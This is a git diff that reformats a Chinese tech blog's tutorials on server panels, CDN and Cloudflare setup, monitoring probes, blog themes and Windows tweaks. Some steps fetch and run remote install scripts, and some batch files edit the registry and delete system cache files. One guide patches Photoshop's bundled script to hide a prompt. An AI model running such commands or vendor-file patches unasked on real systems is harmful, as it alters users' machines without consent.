## Google Play Store ## Google Play Store
下载地址: 下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-store/`
[https://www.apkmirror.com/apk/google-inc/google-play-store/](https://www.apkmirror.com/apk/google-inc/google-play-store/) 首先点击上边的网站到Google Play Store的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择noDPI的版本
首先点击上边的网站,到 Google Play Store 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。 关于ARM版本
选择 noDPI 的版本 **一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
关于 ARM 版本:
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**

View File

@ -12,7 +12,7 @@ tags: ["v2board"]
安装完成后我们登陆宝塔进行环境的安装。 安装完成后我们登陆宝塔进行环境的安装。
选择使用 LNMP 的环境安装方式勾选如下信息: 选择使用LNMP的环境安装方式勾选如下信息
- ☑️ Nginx 1.17 - ☑️ Nginx 1.17
- ☑️ MySQL 5.6 - ☑️ MySQL 5.6
@ -20,23 +20,23 @@ tags: ["v2board"]
选择快速编译后进行安装。 选择快速编译后进行安装。
## 二、安装 Redis 和文件信息 ## 二、安装Redis和文件信息
宝塔面板 > 软件商店 > 找到 PHP 7.3 点击设置 > 安装扩展 > `redis` `fileinfo`进行安装。 宝塔面板 > 软件商店 > 找到PHP 7.3点击设置 > 安装扩展 > `redis` `fileinfo`进行安装。
## 三、解除被禁止的函数 ## 三、解除被禁止的函数
宝塔面板 > 软件商店 > 找到 PHP 7.3 点击设置 > 禁用功能,将 `putenv` `proc_open` `pcntl_alarm` `pcntl_signal` 从列表中删除。 宝塔面板 > 软件商店 > 找到PHP 7.3点击设置 > 禁用功能,将 `putenv` `proc_open` `pcntl_alarm` `pcntl_signal` 从列表中删除。
## 四、添加站点 ## 四、添加站点
宝塔面板 > 网站 > 添加站点: 宝塔面板 > 网站 > 添加站点:
- 在域名填入你的域名 - 在域名填入你的域名
- 在数据库中选择 MySQL - 在数据库中选择MySQL
- 在 PHP 版本中选择 PHP-73 - 在 PHP 版本中选择 PHP-73
## 五、安装 V2Board ## 五、安装V2Board
### 进入站点目录 ### 进入站点目录
@ -57,7 +57,7 @@ rm -rf .htaccess 404.html index.html .user.ini
git clone https://github.com/v2board/v2board.git ./ git clone https://github.com/v2board/v2board.git ./
``` ```
### 安装依赖包以及 V2board ### 安装依赖包以及V2board
```bash ```bash
sh init.sh sh init.sh
@ -97,13 +97,13 @@ sh init.sh
php /www/wwwroot/路径/artisan schedule:run php /www/wwwroot/路径/artisan schedule:run
``` ```
根据上述信息添加每 1 分钟执行一次的定时任务。 根据上述信息添加每1分钟执行一次的定时任务。
## 八、启动队列服务 ## 八、启动队列服务
V2board 的邮件系统强依赖队列服务,你想要使用邮件验证及群发邮件必须启动队列服务。下面以宝塔中`supervisor`服务来守护队列服务作为演示。 V2board的邮件系统强依赖队列服务你想要使用邮件验证及群发邮件必须启动队列服务。下面以宝塔中`supervisor`服务来守护队列服务作为演示。
宝塔面板 > 软件商店 > 部署 > 找到 Supervisor 进行安装,安装完成后点击设置 > 添加守护进程,按照如下填写: 宝塔面板 > 软件商店 > 部署 > 找到Supervisor进行安装安装完成后点击设置 > 添加守护进程,按照如下填写:
- 名称:填写 `V2board` - 名称:填写 `V2board`
- 运行目录:选择站点目录 - 运行目录:选择站点目录
@ -114,11 +114,11 @@ V2board 的邮件系统强依赖队列服务,你想要使用邮件验证及群
## 常见问题 ## 常见问题
### 500 错误 ### 500错误
可能的原因: 可能的原因:
1. 检查站点根目录权限,递归 755保证目录有可写文件的权限。 1. 检查站点根目录权限递归755保证目录有可写文件的权限。
2. Redis 扩展没有安装或者 Redis 没有安装造成的。 2. Redis扩展没有安装或者Redis没有安装造成的。
3. 可以通过查看 storage/logs 下的日志来排查错误或者开启 debug 模式。 3. 可以通过查看storage/logs下的日志来排查错误或者开启debug模式。
4. 重启 php7.3。 4. 重启php7.3。

View File

@ -3,11 +3,10 @@ title: "CDN配置"
date: 2023-12-25T12:07:21+08:00 date: 2023-12-25T12:07:21+08:00
tags: [] tags: []
--- ---
## 域名绑定 ## 域名绑定
1. 绑定到需要加速的服务器(源站) 1. 绑定到需要加速的服务器(源站)
2. 配置到 cdn 平台(加速域名) 2. 配置到cdn平台(加速域名)
## 配置 ## 配置
@ -17,6 +16,6 @@ tags: []
- 加速域名:(加速域名) - 加速域名:(加速域名)
- 回源域名填写:(源站) - 回源域名填写:(源站)
- 回源 host 选择:与回源域名一致 - 回源host选择:与回源域名一致
改动回源 host 的目的是为了让 vercel 那边知道你需要回源到的域名。 改动回源host的目的是为了让vercel那边知道你需要回源到的域名。

View File

@ -3,20 +3,18 @@ title: "Cloudflare_自选IP"
date: 2024-06-18T16:16:35+08:00 date: 2024-06-18T16:16:35+08:00
tags: [] tags: []
--- ---
## Workers ## Workers
1. DNS 解析 1. DNS解析
1. 删除现有 Workers 解析(自定义域)
2. 将要用的域名解析到自选 IP 上,注意**不要开启**代理(小云朵)
1. 删除现有Workers解析自定义域
2. 将要用的域名解析到自选IP上注意**不要开启**代理(小云朵)
2. 自定义路由 2. 自定义路由
设置->触发器->路由 设置->触发器->路由
我要使用`proxy.example.com`作为 Workers 域名,且要访问全部内容 我要使用`proxy.example.com`作为Workers域名且要访问全部内容
```text ```text
proxy.example.com/* proxy.example.com/*
``` ```

View File

@ -82,11 +82,11 @@ jobs:
- name: 安装 Python - name: 安装 Python
uses: actions/setup-python@v2 uses: actions/setup-python@v2
with: with:
python-version: "3.x" python-version: '3.x'
- name: 安装依赖 - name: 安装依赖
run: pip install requests run: pip install requests
- name: 等待源站部署 - name: 等待源站部署
run: sleep 1m # 这里用了个笨办法,等待 1 分钟后进行刷新 run: sleep 1m # 这里用了个笨办法,等待 1 分钟后进行刷新
- name: 刷新 CDN - name: 刷新 CDN
run: python RefreshCDN.py run: python RefreshCDN.py
``` ```

View File

@ -22,30 +22,30 @@ tags: []
```typescript ```typescript
// 网站基本信息 // 网站基本信息
export const SITE_URL = "https://your-domain.com"; export const SITE_URL = 'https://your-domain.com';
export const SITE_NAME = "你的网站名称"; export const SITE_NAME = "你的网站名称";
export const SITE_DESCRIPTION = "网站描述"; export const SITE_DESCRIPTION = "网站描述";
// 导航链接 // 导航链接
export const NAV_LINKS = [ export const NAV_LINKS = [
{ href: "/", text: "首页" }, { href: '/', text: '首页' },
{ href: "/articles", text: "文章" }, { href: '/articles', text: '文章' },
{ href: "/movies", text: "观影" }, { href: '/movies', text: '观影' },
{ href: "/books", text: "读书" }, { href: '/books', text: '读书' },
{ href: "/projects", text: "项目" }, { href: '/projects', text: '项目' },
{ href: "/other", text: "其他" }, { href: '/other', text: '其他' }
]; ];
// 备案信息(如果需要) // 备案信息(如果需要)
export const ICP = "你的ICP备案号"; export const ICP = '你的ICP备案号';
export const PSB_ICP = "你的公安备案号"; export const PSB_ICP = '你的公安备案号';
export const PSB_ICP_URL = "备案链接"; export const PSB_ICP_URL = '备案链接';
// 豆瓣配置 // 豆瓣配置
export const DOUBAN_ID = "你的豆瓣ID"; export const DOUBAN_ID = '你的豆瓣ID';
// 旅行足迹 // 旅行足迹
export const VISITED_PLACES = ["中国-北京", "中国-上海", "美国-纽约"]; export const VISITED_PLACES = ['中国-北京', '中国-上海', '美国-纽约'];
``` ```
## 文章写作 ## 文章写作
@ -98,9 +98,9 @@ tags: ["标签1", "标签2"]
```typescript ```typescript
export const ARTICLE_EXPIRY_CONFIG = { export const ARTICLE_EXPIRY_CONFIG = {
enabled: true, // 是否启用文章过期提醒 enabled: true, // 是否启用文章过期提醒
expiryDays: 365, // 文章过期天数 expiryDays: 365, // 文章过期天数
warningMessage: "这篇文章已经发布超过一年了,内容可能已经过时,请谨慎参考。", // 提醒消息 warningMessage: '这篇文章已经发布超过一年了,内容可能已经过时,请谨慎参考。' // 提醒消息
}; };
``` ```
@ -146,7 +146,7 @@ import { GitPlatform } from '@/components/GitProjectCollection';
`MediaGrid` 组件用于展示豆瓣的观影和读书记录。 `MediaGrid` 组件用于展示豆瓣的观影和读书记录。
基本用法 #### 基本用法
```astro ```astro
--- ---
@ -174,7 +174,7 @@ import MediaGrid from '@/components/MediaGrid.astro';
`WorldHeatmap` 组件用于展示你去过的地方,以热力图的形式在世界地图上显示。 `WorldHeatmap` 组件用于展示你去过的地方,以热力图的形式在世界地图上显示。
基本用法 #### 基本用法
`src/consts.ts` 中配置你去过的地方: `src/consts.ts` 中配置你去过的地方:
@ -182,13 +182,13 @@ import MediaGrid from '@/components/MediaGrid.astro';
// 配置你去过的地方 // 配置你去过的地方
export const VISITED_PLACES = [ export const VISITED_PLACES = [
// 国内地区格式:'中国-省份/城市' // 国内地区格式:'中国-省份/城市'
"中国-黑龙江", '中国-黑龙江',
"中国-北京", '中国-北京',
"中国-上海", '中国-上海',
// 国外地区直接使用国家名 // 国外地区直接使用国家名
"马来西亚", '马来西亚',
"泰国", '泰国',
"美国", '美国'
]; ];
``` ```
@ -214,6 +214,7 @@ import { VISITED_PLACES } from '@/consts';
</Layout> </Layout>
``` ```
## 主题切换 ## 主题切换
系统支持三种主题模式: 系统支持三种主题模式:
@ -235,26 +236,28 @@ import { VISITED_PLACES } from '@/consts';
1. 克隆项目 1. 克隆项目
```bash ```bash
git clone https://github.com/your-username/echoes.git git clone https://github.com/your-username/echoes.git
cd echoes cd echoes
``` ```
2. 安装依赖 2. 安装依赖
```bash ```bash
npm install npm install
``` # 或者使用 pnpm
pnpm install
```
3. 修改配置 3. 修改配置
编辑 `src/consts.ts` 文件,更新网站配置信息。 编辑 `src/consts.ts` 文件,更新网站配置信息。
4. 本地运行 4. 本地运行
```bash ```bash
npm run dev npm run dev
``` ```
访问 `http://localhost:4321` 查看效果。 访问 `http://localhost:4321` 查看效果。
@ -263,11 +266,10 @@ import { VISITED_PLACES } from '@/consts';
### 部署方式选择 ### 部署方式选择
1. **Vercel 部署(推荐)** 1. **Vercel 部署(推荐)**
- 支持所有功能 - 支持所有功能
- 自动部署和 HTTPS - 自动部署和 HTTPS
- 支持 API 路由和动态数据 - 支持 API 路由和动态数据
- 可配合多吉云 CDN 实现自动刷新缓存 - 可配合多吉云CDN实现自动刷新缓存
2. **静态托管(如腾讯云)** 2. **静态托管(如腾讯云)**
- 仅支持静态文件 - 仅支持静态文件
@ -276,13 +278,13 @@ import { VISITED_PLACES } from '@/consts';
- 动态数据获取 - 动态数据获取
- 需要手动配置和上传 - 需要手动配置和上传
### CDN 加速配置 ### CDN加速配置
博客支持通过多吉云 CDN 进行加速,并可通过 GitHub Actions 实现自动刷新缓存: 博客支持通过多吉云CDN进行加速并可通过GitHub Actions实现自动刷新缓存
1. 按照[CDN 配置指南](./cdn配置)配置多吉云 CDN 1. 按照[CDN配置指南](./cdn配置)配置多吉云CDN
2. 按照[GitHub Actions 自动刷新 CDN 缓存指南](./github-actions自动刷新多吉云_cdn缓存)配置自动刷新 2. 按照[GitHub Actions自动刷新CDN缓存指南](./github-actions自动刷新多吉云_cdn缓存)配置自动刷新
3. 配置完成后每次博客更新时CDN 缓存将自动刷新 3. 配置完成后每次博客更新时CDN缓存将自动刷新
### 部署步骤 ### 部署步骤
@ -297,35 +299,32 @@ import { VISITED_PLACES } from '@/consts';
1. 修改 `astro.config.mjs` 1. 修改 `astro.config.mjs`
```javascript ```javascript
export default defineConfig({ export default defineConfig({
site: SITE_URL, site: SITE_URL,
output: "static", output: "static",
adapter: undefined, adapter: undefined,
}); });
``` ```
2. 构建并上传: 2. 构建并上传:
```bash ```bash
npm run build npm run build
# 上传 dist/client 目录到静态托管服务 # 上传 dist/client 目录到静态托管服务
``` ```
## 常见问题 ## 常见问题
1. **图片无法显示** 1. **图片无法显示**
- 检查图片路径是否正确 - 检查图片路径是否正确
- 确保图片已放入 `public` 目录 - 确保图片已放入 `public` 目录
2. **豆瓣数据无法获取** 2. **豆瓣数据无法获取**
- 确认豆瓣 ID 配置正确 - 确认豆瓣 ID 配置正确
- 检查豆瓣记录是否公开 - 检查豆瓣记录是否公开
3. **Git 项目无法显示** 3. **Git 项目无法显示**
- 验证用户名配置 - 验证用户名配置
- 确认 API 访问限制 - 确认 API 访问限制

View File

@ -528,7 +528,7 @@ main.main {
{{ end }} {{ end }}
``` ```
#### 代码块引入 MacOS 窗口样式 #### 代码块引入MacOS窗口样式
在主题目录下的`assets`文件夹中的`img`文件夹中,创建一个名为`code-header.svg`的文件,在文件中写入以下内容: 在主题目录下的`assets`文件夹中的`img`文件夹中,创建一个名为`code-header.svg`的文件,在文件中写入以下内容:

View File

@ -4,11 +4,12 @@ date: 2025-01-15T00:34:11Z
tags: [] tags: []
--- ---
## 前端 ## 前端
## tailwind ## tailwind
> 快速构建 css 样式器 > 快速构建css样式器
### 可响应式布局 ### 可响应式布局
@ -34,13 +35,13 @@ module.exports = {
### 安全 ### 安全
1. json web token保证用户令牌不是篡改或伪造注意是明文传输 1. json web token保证用户令牌不是篡改或伪造注意是明文传输
2. hash 密码:避免数据库泄漏带来的隐私风险 2. hash密码避免数据库泄漏带来的隐私风险
3. cors可以避免其他站点的非法请求不过只适用用浏览器 3. cors可以避免其他站点的非法请求不过只适用用浏览器
4. 构建 sql 查询器中间件:使 sql 语句可以结构化,可以根据危险等级构建不同的查询等级,最大程度避免 xxs 4. 构建sql查询器中间件使sql语句可以结构化可以根据危险等级构建不同的查询等级最大程度避免xxs
### 接口 ### 接口
1. 适用 restful 接口具有很好的可读性 1. 适用restful接口具有很好的可读性
## 其他 ## 其他

View File

@ -6,7 +6,7 @@ tags: [cloudflare]
项目地址:[https://github.com/csh733/autouam_control](https://github.com/csh733/autouam_control) 项目地址:[https://github.com/csh733/autouam_control](https://github.com/csh733/autouam_control)
**原理:** 通过检测系统负载cpu load自动开启 Cloudflare UAM 和 challenge验证码 **原理:** 通过检测系统负载cpu或load自动开启 Cloudflare UAM 和 challenge验证码
## 宝塔面板计划任务 ## 宝塔面板计划任务
@ -230,4 +230,3 @@ for ((;;)); do
sleep $interval sleep $interval
clear clear
done done
```

View File

@ -6,15 +6,15 @@ tags: []
## 百度站长平台 ## 百度站长平台
[百度搜索引擎][1]是国内最主流的搜索引擎,当然百度站长平台也是站长们使用最多的平台,功能很齐全,网站各个方面的数据都显示的很到位,能够很好地辅助站长们进行 SEO 优化。 [百度搜索引擎][1]是国内最主流的搜索引擎当然百度站长平台也是站长们使用最多的平台功能很齐全网站各个方面的数据都显示的很到位能够很好地辅助站长们进行SEO优化。
## 搜狗站长平台 ## 搜狗站长平台
[搜狗站长平台][2]和百度相比就显得略逊一些,只提供一些基础的功能。虽然前一段时间有一份报告称搜狗 PC 用户已经超越百度,但目前搜狗站长平台还是很少更新,站长学院的公告在 17 年之后就没有更新了。 [搜狗站长平台][2]和百度相比就显得略逊一些只提供一些基础的功能。虽然前一段时间有一份报告称搜狗PC用户已经超越百度但目前搜狗站长平台还是很少更新站长学院的公告在17年之后就没有更新了。
## 360 站长平台 ## 360站长平台
[360 站长平台][3]在国内勉强排上第二,和百度相比 360 的功能还不够完善,算法也是偶尔更新一次,而且不知道你有没有发现 360 收录干货文章特别难,这也让很多站长放弃了 360 优化。 [360站长平台][3]在国内勉强排上第二和百度相比360的功能还不够完善算法也是偶尔更新一次而且不知道你有没有发现360收录干货文章特别难这也让很多站长放弃了360优化。
## 神马站长平台 ## 神马站长平台
@ -22,7 +22,7 @@ tags: []
## 必应站长平台 ## 必应站长平台
[必应][5]是微软旗下的搜索引擎,记得以前更新 W10 的时候浏览器自带的就是必应搜索引擎,国内用户很少,估计有的人听都没听过。 [必应][5]是微软旗下的搜索引擎记得以前更新W10的时候浏览器自带的就是必应搜索引擎国内用户很少估计有的人听都没听过。
## 头条站长平台 ## 头条站长平台

View File

@ -33,7 +33,7 @@ tags: ["服务器探针", "cloudflare"]
#### 部署面板服务 #### 部署面板服务
github 镜像 github镜像
```bash ```bash
curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh
@ -94,7 +94,7 @@ proxy_set_header Host $host;
[nssm](http://nssm.cc/download) [nssm](http://nssm.cc/download)
下载软件后,解压到任意位置,然后按 Win + R 打开运行窗口cd nssm 解压的位置。 下载软件后,解压到任意位置,然后按 Win + R 打开运行窗口cd nssm解压的位置。
### 二、设置 NSSM ### 二、设置 NSSM
@ -104,7 +104,7 @@ proxy_set_header Host $host;
nssm install <servername> nssm install <servername>
``` ```
> 如: nssm install nezha >如: nssm install nezha
弹出 UI设置如下 弹出 UI设置如下
@ -120,11 +120,11 @@ Arguments: 启动参数
-i {AgentID} -s {Serverip}:{Port} -p {AgentKey} -d -i {AgentID} -s {Serverip}:{Port} -p {AgentKey} -d
``` ```
> 例如: >例如:
> >
> -i 10 -s 8.8.8.8:55555 -p 8aeccc7babe9c3cb0 -d >-i 10 -s 8.8.8.8:55555 -p 8aeccc7babe9c3cb0 -d
> >
> 自己对应修改,填写完毕后,点击 Install Servce。 >自己对应修改,填写完毕后,点击 Install Servce。
### 三、启动服务 ### 三、启动服务

View File

@ -4,17 +4,17 @@ date: 2023-07-10T20:21:00Z
tags: ["cloudflare"] tags: ["cloudflare"]
--- ---
受限于宝塔面板默认防火墙 Firewalld 的限制,要想宝塔面板下站点如何只限定 CDN IP 节点回源请求的话,最简便有效的办法就是将 CDN 的 IP 节点一个一个的加入到宝塔的【端口规则】里,需要限制哪个端口就在哪个端口下添加。 受限于宝塔面板默认防火墙Firewalld的限制要想宝塔面板下站点如何只限定CDN的IP节点回源请求的话最简便有效的办法就是将CDN 的IP节点一个一个的加入到宝塔的【端口规则】里需要限制哪个端口就在哪个端口下添加。
## 1. 修改所有 IP 为指定 IP ## 1. 修改所有IP为指定IP
我们选择的是 443 端口,默认宝塔是开放 443 端口给所有 IP 的,所以这里我们必须修改 443 端口规则为"指定 IP",切记切记哦! 我们选择的是443端口默认宝塔是开放443端口给所有IP的所以这里我们必须修改443端口规则为"指定IP",切记切记哦!
## 2. 添加 CDN 节点 IP 地址段 ## 2. 添加CDN 节点IP地址段
443 添加了一个 CloudFlare IPv4 节点 IP 地址段,意思就是这个 103.21.244.0/22 地址段的 IP 都可以回源请求 443 端口。具体 CloudFlare 的节点 IP 可以到这里查看:[www.cloudflare-cn.com/ips/](www.cloudflare-cn.com/ips/) 给443添加了一个CloudFlare的IPv4节点IP地址段意思就是这个103.21.244.0/22地址段的IP都可以回源请求443端口。具体CloudFlare的节点IP可以到这里查看[www.cloudflare-cn.com/ips/](www.cloudflare-cn.com/ips/)
剩下的我们只需要一个一个的把 CloudFlare IPv4 节点 IP 地址段这样添加即可,如果是 80 端口也是同样的。有人会说这样很麻烦,效率太低不科学,那么我们可以使用宝塔的【导出规则】和【导入规则】来批量的添加,具体步骤很简单,我们可以制作一个导入 CloudFlare IP 节点的.json具体内容如下参考 剩下的我们只需要一个一个的把CloudFlare的IPv4节点IP地址段这样添加即可如果是80端口也是同样的。有人会说这样很麻烦效率太低不科学那么我们可以使用宝塔的【导出规则】和【导入规则】来批量的添加具体步骤很简单我们可以制作一个导入CloudFlare的IP节点的.json具体内容如下参考
```json ```json
43|tcp|443|accept|131.0.72.0/22|131.0.72.0/22|2023-07-10 20:01:07||0| 43|tcp|443|accept|131.0.72.0/22|131.0.72.0/22|2023-07-10 20:01:07||0|

View File

@ -57,9 +57,9 @@ theme: 主题名字 # 主题名字,和 themes 文件夹下的一致
2. 打开 PowerShell 进入站点文件夹 2. 打开 PowerShell 进入站点文件夹
3. 查看 Hugo 版本号 3. 查看 Hugo 版本号
```powershell ```powershell
./hugo version ./hugo version
``` ```
4. 设置 Hugo 版本号 4. 设置 Hugo 版本号

View File

@ -6,10 +6,10 @@ tags: []
## 1. 环境准备 ## 1. 环境准备
- [宝塔面板](https://www.bt.cn/new/index.html) * [宝塔面板](https://www.bt.cn/new/index.html)
- PHP 7.4 * PHP 7.4
- MySQL 5.7 / 8 或 MariaDB 10 * MySQL 5.7 / 8 或 MariaDB 10
- Apache HTTP Web Server 或 Nginx * Apache HTTP Web Server 或 Nginx
## 2. 下载 ## 2. 下载

View File

@ -24,4 +24,4 @@ tags: []
?> ?>
``` ```
现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片 API 了。每次访问这个 URL 时,它都会随机选择一个图片文件并重定向到该图片的 URL。 现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片API了。每次访问这个URL时它都会随机选择一个图片文件并重定向到该图片的URL。

View File

@ -1,23 +1,23 @@
--- ---
title: "服务器探针ServerStatus探针安装教程" title: "服务器探针ServerStatus探针安装教程"
date: 2021-07-31T10:02:00+08:00 date: 2021-07-31T10:02:00+08:00
tags: ["服务器探针"] tags: [ "服务器探针" ]
--- ---
## 食用方式 ## 食用方式
PS以下使用方式二方式一直接运行傻瓜安装即可 PS以下使用方式二方式一直接运行傻瓜安装即可
### 脚本进行安装(会要求安装 Caddy Nginx 不能同时安装,有能力的自行 DIY ### 脚本进行安装会要求安装Caddy与Nginx不能同时安装有能力的自行DIY
```bash ```bash
wget https://raw.githubusercontent.com/CokeMine/ServerStatus-Hotaru/master/status.sh wget https://raw.githubusercontent.com/CokeMine/ServerStatus-Hotaru/master/status.sh
bash status.sh bash status.sh
``` ```
### 手动编译安装,可搭配宝塔使用 Nginx 提供服务 ### 手动编译安装可搭配宝塔使用Nginx提供服务
#### 下载 ServerStatus-USee #### 下载ServerStatus-USee
```bash ```bash
git clone https://gitee.com/useenet/serverTZ.git git clone https://gitee.com/useenet/serverTZ.git
@ -26,7 +26,7 @@ mv serverTZ /usr/serverTZ
## 安装服务端 ## 安装服务端
### 使用宝塔创建一个空网页PS域名框使用域名或 IP 均可) ### 使用宝塔创建一个空网页PS域名框使用域名或IP均可
### 复制监控展示页到宝塔新建的网站目录中 ### 复制监控展示页到宝塔新建的网站目录中
@ -58,35 +58,35 @@ vim config.json
```json ```json
{ {
"servers": [ "servers": [
{ {
"username": "username", "username": "username",
"password": "password", "password": "password",
"name": "vpsname", "name": "vpsname",
"type": "type", "type": "type",
"host": "No", "host": "No",
"location": "China", "location": "China",
"disabled": false, "disabled": false,
"region": "CN" "region": "CN"
}, },
{ {
"username": "连接用户名", "username": "连接用户名",
"password": "连接密码", "password": "连接密码",
"name": "监控显示名称", "name": "监控显示名称",
"type": "监控显示类型", "type": "监控显示类型",
"host": "No", "host": "No",
"location": "国家", "location": "国家",
"disabled": false, "disabled": false,
"region": "国旗" "region": "国旗"
} }
] ]
} }
``` ```
### 在宝塔中打开 serverTZ 默认端口 ### 在宝塔中打开serverTZ默认端口
> 35601 > 35601
### 编辑完成后,在 server 目下进行测试,webdir web 站点路径 ### 编辑完成后在server目下进行测试,webdir为web站点路径
```bash ```bash
./sergate --config=config.json --web-dir=/www/wwwroot/站点 ./sergate --config=config.json --web-dir=/www/wwwroot/站点
@ -115,7 +115,9 @@ systemctl enable serverTZs.service
``` ```
> #赋权 > #赋权
> #拷贝进系统服务目录 #重新加载系统服务 #启动服务端并设置开机自启 > #拷贝进系统服务目录
> #重新加载系统服务
> #启动服务端并设置开机自启
### 在配置文件中增加服务器主机后重启 ### 在配置文件中增加服务器主机后重启
@ -140,7 +142,7 @@ mv serverTZ /usr/serverTZ
cd /usr/serverTZ/clients cd /usr/serverTZ/clients
``` ```
### 检查已安装的 python 版本,版本需要 2.7 及以上 ### 检查已安装的python版本,版本需要2.7及以上
```python ```python
python -V python -V
@ -196,7 +198,8 @@ systemctl enable serverTZc.service
``` ```
> #赋权 > #赋权
> #拷贝进系统服务目录 #重新加载系统服务 > #拷贝进系统服务目录
> #重新加载系统服务
> #启动服务端并设置开机自启 > #启动服务端并设置开机自启
在配置文件中增加服务器主机后重启 在配置文件中增加服务器主机后重启

View File

@ -13,13 +13,12 @@ tags: []
### 出现黄色更新弹窗 ### 出现黄色更新弹窗
1. 打开文件目录: 1. 打开文件目录:
- Mac 修改文件目录:`/Applications/Adobe Photoshop (Beta)/Adobe Photoshop (Beta).app/Contents/Required/UXP/com.adobe.photoshop.inAppMessaging/js/0.js`
- Mac 修改文件目录:`/Applications/Adobe Photoshop (Beta)/Adobe Photoshop (Beta).app/Contents/Required/UXP/com.adobe.photoshop.inAppMessaging/js/0.js` - Windows 目录(如果是 C 盘):`C:\Program Files\Adobe\Adobe Photoshop 2023\Required\UXP\com.adobe.photoshop.inAppMessaging\js\0.js`
- Windows 目录(如果是 C 盘):`C:\Program Files\Adobe\Adobe Photoshop 2023\Required\UXP\com.adobe.photoshop.inAppMessaging\js\0.js`
2. 修改 `0.js` 文件: 2. 修改 `0.js` 文件:
- 搜索 `"996633",`,结果有两处。找到第一处,在后面加上 `",display:none",`(别忘了英文逗号)。 - 搜索 `"996633",`,结果有两处。找到第一处,在后面加上 `",display:none",`(别忘了英文逗号)。
- 保存文件,退出 Photoshop重启 Photoshop。提示框应消失。 - 保存文件,退出 Photoshop重启 Photoshop。提示框应消失。
### Adobe Creative Cloud 丢失或损坏提示 ### Adobe Creative Cloud 丢失或损坏提示

View File

@ -10,5 +10,5 @@ tags: []
2. 找到时钟和区域 2. 找到时钟和区域
3. 选择区域 3. 选择区域
4. 打开管理 4. 打开管理
5. 选择非 Unicode 程序的语言 5. 选择非Unicode程序的语言
6. 更改系统区域设置为中国(需要提供管理员权限) 6. 更改系统区域设置为中国(需要提供管理员权限)

View File

@ -8,20 +8,20 @@ tags: []
1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。 1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。
```batch ```batch
@echo off @echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
taskkill /f /im explorer.exe taskkill /f /im explorer.exe
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
del %userprofile%\AppData\Local\IconCache.db del %userprofile%\AppData\Local\IconCache.db
start explorer.exe start explorer.exe
``` ```
2. 将文本编辑器中的代码另存为.bat 文件,例如 remove_shortcut.bat保存在桌面上。 2. 将文本编辑器中的代码另存为.bat文件例如 remove_shortcut.bat保存在桌面上。
3. 点击双击打开保存在桌面上的 remove_shortcut.bat 文件,代码会自动执行,去除桌面图标上的快捷方式。 3. 点击双击打开保存在桌面上的 remove_shortcut.bat 文件,代码会自动执行,去除桌面图标上的快捷方式。
4. 如果您的 Windows 系统账户没有管理员权限,请使用管理员权限运行 remove_shortcut.bat 文件。 4. 如果您的Windows系统账户没有管理员权限请使用管理员权限运行 remove_shortcut.bat 文件。
5. 执行完毕后命令行窗口会闪一下随后资源管理器explorer.exe会立即自动重启。 5. 执行完毕后命令行窗口会闪一下随后资源管理器explorer.exe会立即自动重启。
@ -29,20 +29,20 @@ tags: []
1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。 1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。
```batch ```batch
@echo off @echo off
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 77 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 77 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
taskkill /f /im explorer.exe taskkill /f /im explorer.exe
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
del %userprofile%\AppData\Local\IconCache.db del %userprofile%\AppData\Local\IconCache.db
start explorer.exe start explorer.exe
``` ```
2. 将文本编辑器中的代码另存为.bat 文件,例如 remove_security.bat保存在桌面上。 2. 将文本编辑器中的代码另存为.bat文件例如 remove_security.bat保存在桌面上。
3. 点击双击打开保存在桌面上的 remove_security.bat 文件,代码会自动执行,去除桌面图标上的安全盾标志。 3. 点击双击打开保存在桌面上的 remove_security.bat 文件,代码会自动执行,去除桌面图标上的安全盾标志。
4. 如果您的 Windows 系统账户没有管理员权限,请使用管理员权限运行 remove_security.bat 文件。 4. 如果您的Windows系统账户没有管理员权限请使用管理员权限运行 remove_security.bat 文件。
5. 执行完毕后命令行窗口会闪一下随后资源管理器explorer.exe会立即自动重启。 5. 执行完毕后命令行窗口会闪一下随后资源管理器explorer.exe会立即自动重启。

View File

@ -36,9 +36,9 @@ tags: []
1. 以管理员身份打开 PowerShell"开始"菜单 >"PowerShell" >右键 >"以管理员身份运行")。 1. 以管理员身份打开 PowerShell"开始"菜单 >"PowerShell" >右键 >"以管理员身份运行")。
2. 使用以下命令安装下载的 WSA 包: 2. 使用以下命令安装下载的 WSA 包:
```bash ```bash
